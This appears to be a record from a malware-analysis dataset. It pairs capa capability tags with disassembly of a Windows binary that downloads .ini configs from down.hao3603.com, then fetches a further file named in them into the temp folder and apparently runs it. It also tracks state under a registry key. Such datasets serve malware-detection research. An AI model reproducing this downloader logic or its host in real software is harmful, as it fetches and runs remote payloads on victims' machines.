joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ac0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
mov eax, dword [0x440034]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x103
lea eax, [ebp - 0x12f]
push 0
push eax
mov byte [ebp - 0x130], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x144]
push ecx
push 0x2001f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionczhandle
push reloc.WS2_32.dll_bind
mov dword [ebp - 0x148], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401ba6
lea edx, [ebp - 0x148]
push edx
mov edx, dword [ebp - 0x144]
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x14c]
push ecx
push 0
push str.mini_data
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
lea eax, [ebp - 0x140]
push eax
jne 0x401bb6
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x13a]
movzx edx, word [ebp - 0x13e]
movzx eax, word [ebp - 0x140]
push ecx
push edx
push eax
lea ecx, [ebp - 0x24]
push 0x43dfa8
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x401be6
mov ecx, dword [ebp - 0x144]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043434a
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x13a]
movzx edx, word [ebp - 0x13e]
movzx eax, word [ebp - 0x140]
push ecx
push edx
push eax
lea ecx, [ebp - 0x24]
push 0x43dfa8
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea edx, [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x144]
add eax, eax
add eax, eax
push eax
lea eax, [ebp - 0x24]
push eax
push 1
push 0
push str.mini_data
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x144]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
call fcn.0043434a
mov esp, ebp
pop ebp
ret
Function at 0x401d40
Capabilities:
Delete file
Download url
Get common file path
Read .ini file
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x440034]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x108]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str.rcsvccfg2.ini
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x103
lea eax, [ebp - 0x20b]
push 0
push eax
mov byte [ebp - 0x20c], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
push str.http:__down.hao3603.com_rcsvccfg2.ini
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0
push 0
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x20c]
push ecx
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
lea edx, [ebp - 0x108]
push edx
push 3
push str.counts
push str.bind
call esi
mov dword [0x440474], eax
lea eax, [ebp - 0x108]
push eax
push 0
push str.index
push str.Switch1
call esi
lea edx, [ebp - 0x108]
push edx
push 0
test eax, eax
push str.index
setne cl
push str.Switch2
mov byte [0x440453], cl
call esi
lea ecx, [ebp - 0x108]
push ecx
push 0x3c
test eax, eax
push str.counts
setne al
push str.interval
mov byte [0x440452], al
call esi
lea edx, [ebp - 0x108]
push edx
push 0
push str.index
push str.page
mov dword [0x440078], eax
call esi
test eax, eax
setne al
mov byte [0x440451], al
lea ecx, [ebp - 0x108]
push ecx
push 3
push str.counts
push str.page_interval
call esi
lea edx, [ebp - 0x108]
push edx
mov dword [0x440470], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0043434a
mov esp, ebp
pop ebp
ret
Function at 0x401ec0
Capabilities:
Delete file
Download url
Get common file path
Read .ini file
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x440034]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x108]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str.rcminicfg2.ini
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x103
lea eax, [ebp - 0x20b]
push 0
push eax
mov byte [ebp - 0x20c], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
push str.http:__down.hao3603.com_minicfg_rcminicfg2.ini
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0
push 0
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x20c]
push ecx
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
lea edx, [ebp - 0x108]
push edx
push 0
push 0x43e118
push str.config
call esi
lea ecx, [ebp - 0x108]
push ecx
push 0x11
test eax, eax
push str.hour
setne al
push str.config
mov byte [0x440478], al
call esi
lea edx, [ebp - 0x108]
push edx
push 0x1e
push str.minute
push str.config
mov dword [0x440070], eax
call esi
mov dword [0x440074], eax
lea eax, [ebp - 0x108]
push eax
push 0
push 0x43e134
push str.config
call esi
test eax, eax
lea edx, [ebp - 0x108]
setne cl
push edx
mov byte [0x440450], cl
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0043434a
mov esp, ebp
pop ebp
ret
Function at 0x402250
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
mov eax, dword [0x440034]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x103
lea eax, [ebp - 0x12f]
push 0
push eax
mov byte [ebp - 0x130], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x144]
push ecx
push 0x2001f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionczhandle
push reloc.WS2_32.dll_bind
mov dword [ebp - 0x148], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4023af
lea edx, [ebp - 0x148]
push edx
mov edx, dword [ebp - 0x144]
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x14c]
push ecx
push 0
push str.data
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
lea eax, [ebp - 0x140]
push eax
jne 0x402349
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x13a]
movzx edx, word [ebp - 0x13e]
movzx eax, word [ebp - 0x140]
push ecx
push edx
push eax
lea ecx, [ebp - 0x24]
push 0x43dfa8
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x402379
mov ecx, dword [ebp - 0x144]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043434a
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x13a]
movzx edx, word [ebp - 0x13e]
movzx eax, word [ebp - 0x140]
push ecx
push edx
push eax
lea ecx, [ebp - 0x24]
push 0x43dfa8
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea edx, [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x144]
add eax, eax
add eax, eax
push eax
lea eax, [ebp - 0x24]
push eax
push 1
push 0
push str.data
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x144]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.0043434a
mov esp, ebp
pop ebp
ret

Function at 0x4023c0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 8]
push eax
push 0x2001f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionczhandle
push reloc.WS2_32.dll_bind
mov dword [ebp - 0xc], 4
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402432
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 8]
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x10]
push eax
push 0
push str.cznv
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402432
inc dword [ebp - 4]
push 4
lea edx, [ebp - 4]
push edx
push 4
push eax
mov eax, dword [ebp - 8]
push str.cznv
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x402440
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
mov eax, dword [0x440034]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x103
lea eax, [ebp - 0x12f]
push 0
push eax
mov byte [ebp - 0x130], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x24c]
push ecx
push 0x2001f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionczhandle
push reloc.WS2_32.dll_bind
mov dword [ebp - 0x258], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4025f0
lea edx, [ebp - 0x258]
push edx
mov edx, dword [ebp - 0x24c]
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x260]
push ecx
push 0
push str.already
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402602
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x242]
movzx edx, word [ebp - 0x246]
movzx eax, word [ebp - 0x248]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push ecx
push edx
push eax
lea ecx, [ebp - 0x24]
push 0x43dfa8
push ecx
call edi
lea edx, [ebp - 0x25c]
push edx
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x250]
push ecx
lea edx, [ebp - 0x130]
push 0x43e148
push edx
call dword [sym.imp.MSVCR100.dll_sscanf]
movzx eax, word [ebp - 0x242]
movzx ecx, word [ebp - 0x246]
mov edx, dword [ebp - 0x25c]
push eax
mov eax, dword [ebp - 0x254]
push ecx
movzx ecx, word [ebp - 0x248]
push edx
mov edx, dword [ebp - 0x250]
call fcn.00401c30
push 0x103
mov esi, eax
lea eax, [ebp - 0x237]
push 0
push eax
mov byte [ebp - 0x238], 0
call sub.MSVCR100.dll_memset
add esp, 0x40
push esi
lea ecx, [ebp - 0x238]
push 0x43e158
push ecx
call edi
add esp, 0xc
cmp esi, dword [0x440470]
jl 0x4025e3
lea edx, [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x24c]
add eax, eax
add eax, eax
push eax
lea eax, [ebp - 0x24]
push eax
push 1
push 0
push str.already
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x24c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043434a
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x24c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043434a
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x248]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [ebp - 0x242]
movzx eax, word [ebp - 0x246]
movzx ecx, word [ebp - 0x248]
push edx
push eax
push ecx
lea edx, [ebp - 0x24]
push 0x43dfa8
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp - 0x24c]
add eax, eax
add eax, eax
push eax
lea ecx, [ebp - 0x24]
push ecx
push 1
push 0
push str.already
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x24c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov eax, 1
pop esi
call fcn.0043434a
mov esp, ebp
pop ebp
ret
Function at 0x402ca0
Capabilities:
Delete file
Download url
Get common file path
Read .ini file
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x63c
mov eax, dword [0x440034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x52f]
push ebx
push eax
mov byte [ebp - 0x530], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
push 0x1a
lea ecx, [ebp - 0x530]
push ecx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x103
lea edx, [ebp - 0x10f]
push ebx
push edx
mov byte [ebp - 0x110], bl
call sub.MSVCR100.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
lea eax, [ebp - 0x530]
push eax
lea ecx, [ebp - 0x110]
push ecx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str._rcsvccfg2.ini
lea edx, [ebp - 0x110]
push edx
call edi
push str.http:__down.hao3603.com_rcsvccfg2.ini
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push ebx
lea eax, [ebp - 0x110]
push eax
push str.http:__down.hao3603.com_rcsvccfg2.ini
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push 0x103
lea ecx, [ebp - 0x31f]
push ebx
push ecx
mov byte [ebp - 0x320], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x110]
push edx
push 0x104
lea eax, [ebp - 0x320]
push eax
push 0x43de9c
push 0x43e21c
push str.main
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x103
lea ecx, [ebp - 0x637]
push ebx
push ecx
mov byte [ebp - 0x638], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x110]
push edx
push 0x104
lea eax, [ebp - 0x638]
push eax
push 0x43de9c
push str.name
push str.main
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x103
push ebx
lea ecx, [ebp - 0x427]
mov byte [ebp - 0x428], bl
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x428]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x103
lea eax, [ebp - 0x217]
push ebx
push eax
mov byte [ebp - 0x218], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x428]
push ecx
lea edx, [ebp - 0x218]
push edx
call esi
lea eax, [ebp - 0x638]
push eax
lea ecx, [ebp - 0x218]
push ecx
call edi
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push ebx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x320]
push ecx
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea edx, [ebp - 0x218]
push edx
call fcn.004011a0
add esp, 4
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043434a
mov esp, ebp
pop ebp
ret
Function at 0x402e90
Capabilities:
Delete file
Download url
Get common file path
Read .ini file
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x63c
mov eax, dword [0x440034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x52f]
push ebx
push eax
mov byte [ebp - 0x530], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
push 0x1a
lea ecx, [ebp - 0x530]
push ecx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x103
lea edx, [ebp - 0x10f]
push ebx
push edx
mov byte [ebp - 0x110], bl
call sub.MSVCR100.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
lea eax, [ebp - 0x530]
push eax
lea ecx, [ebp - 0x110]
push ecx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str._rcsvccfg2.ini
lea edx, [ebp - 0x110]
push edx
call edi
push str.http:__down.hao3603.com_rcsvccfg2.ini
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push ebx
lea eax, [ebp - 0x110]
push eax
push str.http:__down.hao3603.com_rcsvccfg2.ini
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push 0x103
lea ecx, [ebp - 0x31f]
push ebx
push ecx
mov byte [ebp - 0x320], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x110]
push edx
push 0x104
lea eax, [ebp - 0x320]
push eax
push 0x43de9c
push 0x43e21c
push str.config
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x103
lea ecx, [ebp - 0x637]
push ebx
push ecx
mov byte [ebp - 0x638], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x110]
push edx
push 0x104
lea eax, [ebp - 0x638]
push eax
push 0x43de9c
push str.name
push str.config
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x103
push ebx
lea ecx, [ebp - 0x427]
mov byte [ebp - 0x428], bl
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x428]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x103
lea eax, [ebp - 0x217]
push ebx
push eax
mov byte [ebp - 0x218], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x428]
push ecx
lea edx, [ebp - 0x218]
push edx
call esi
lea eax, [ebp - 0x638]
push eax
lea ecx, [ebp - 0x218]
push ecx
call edi
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push ebx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x320]
push ecx
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea edx, [ebp - 0x218]
push edx
call fcn.004011a0
add esp, 4
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043434a
mov esp, ebp
pop ebp
ret
Function at 0x403080
Capabilities:
Delete file
Download url
Get common file path
Read .ini file
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x63c
mov eax, dword [0x440034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x52f]
push ebx
push eax
mov byte [ebp - 0x530], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
push 0x1a
lea ecx, [ebp - 0x530]
push ecx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x103
lea edx, [ebp - 0x10f]
push ebx
push edx
mov byte [ebp - 0x110], bl
call sub.MSVCR100.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
lea eax, [ebp - 0x530]
push eax
lea ecx, [ebp - 0x110]
push ecx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str._rcsvccfg2.ini
lea edx, [ebp - 0x110]
push edx
call edi
push str.http:__down.hao3603.com_rcsvccfg2.ini
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push ebx
lea eax, [ebp - 0x110]
push eax
push str.http:__down.hao3603.com_rcsvccfg2.ini
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push 0x103
lea ecx, [ebp - 0x31f]
push ebx
push ecx
mov byte [ebp - 0x320], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x110]
push edx
push 0x104
lea eax, [ebp - 0x320]
push eax
push 0x43de9c
push 0x43e21c
push str.Mini
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x103
lea ecx, [ebp - 0x637]
push ebx
push ecx
mov byte [ebp - 0x638], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x110]
push edx
push 0x104
lea eax, [ebp - 0x638]
push eax
push 0x43de9c
push str.name
push str.Mini
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x103
push ebx
lea ecx, [ebp - 0x427]
mov byte [ebp - 0x428], bl
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x428]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x103
lea eax, [ebp - 0x217]
push ebx
push eax
mov byte [ebp - 0x218], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x428]
push ecx
lea edx, [ebp - 0x218]
push edx
call esi
lea eax, [ebp - 0x638]
push eax
lea ecx, [ebp - 0x218]
push ecx
call edi
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push ebx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x320]
push ecx
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea edx, [ebp - 0x218]
push edx
call fcn.004011a0
add esp, 4
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043434a
mov esp, ebp
pop ebp
ret
Function at 0x403db0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x440034]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x194]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x403e00
mov eax, dword [ebp - 0x194]
cmp al, 2
jne 0x403dfa
shr eax, 8
cmp al, 2
jne 0x403dfa
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043434a
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 2
call fcn.0043434a
mov esp, ebp
pop ebp
ret
Function at 0x40df40
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push 0
push eax
push ecx
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x40df73
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2733
neg eax
sbb eax, eax
and eax, 0xffffffe7
add eax, 0x51
pop ebp
ret
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
xor eax, eax
pop ebp
ret

Function at 0x40e0b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [esi + 0x1a8]
test ecx, ecx
je 0x40e0d2
mov edx, dword [esi + 0x134]
push edx
mov edx, dword [ebp + 8]
push ebx
push edx
push eax
push esi
call ecx
add esp, 0x14
pop ebp
ret
test eax, eax
js 0x40e10b
cmp eax, 2
jg 0x40e10b
mov ecx, dword [esi + 0x130]
push edi
mov edi, dword [sym.imp.MSVCR100.dll_fwrite]
push ecx
push 1
lea edx, [eax + eax*2 + 0x436f68]
push 2
push edx
call edi
mov eax, dword [esi + 0x130]
mov ecx, dword [ebp + 8]
push eax
push 1
push ebx
push ecx
call edi
add esp, 0x20
pop edi
xor eax, eax
pop ebp
ret

Function at 0x40e3e0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + eax*4 + 0x154]
push edi
push 0
push ecx
push edx
push eax
call dword [sym.imp.WS2_32.dll_send]
mov ebx, dword [ebp + 0x18]
mov edi, eax
mov dword [ebx], 0
cmp edi, 0xffffffff
jne 0x40e45c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp + 8], eax
cmp eax, 0x2733
jne 0x40e431
pop edi
pop esi
mov dword [ebx], 0x51
xor eax, eax
pop ebx
pop ebp
ret
push eax
push esi
call fcn.004136a0
push eax
mov eax, dword [esi]
push str.Send_failure:__s
push eax
call fcn.0040e270
mov ecx, dword [esi]
mov edx, dword [ebp + 8]
mov dword [ecx + 0x8614], edx
add esp, 0x14
mov dword [ebx], 0x37
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x40fe60
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x440034]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
cmp dword [esi + 0x470], eax
push 4
lea ecx, [ebp - 0x14]
push ecx
setne al
push 8
push 0xffff
push edi
mov dword [ebp - 0x14], eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x40feb3
push edi
push str.Failed_to_set_SO_KEEPALIVE_on_fd__d_n
push esi
call fcn.0040e1f0
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043434a
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 0x474]
push edx
mov dword [ebp - 0x10], 1
call fcn.00426fa0
imul eax, eax, 0x3e8
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi + 0x478]
push eax
call fcn.00426fa0
imul eax, eax, 0x3e8
add esp, 8
push 0
push 0
lea ecx, [ebp - 0x18]
push ecx
push 0
push 0
push 0xc
lea edx, [ebp - 0x10]
push edx
push 0x98000004
push edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], eax
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
je 0x40ff25
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
push str.Failed_to_set_SIO_KEEPALIVE_VALS_on_fd__d:__d_n
push esi
call fcn.0040e1f0
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043434a
mov esp, ebp
pop ebp
ret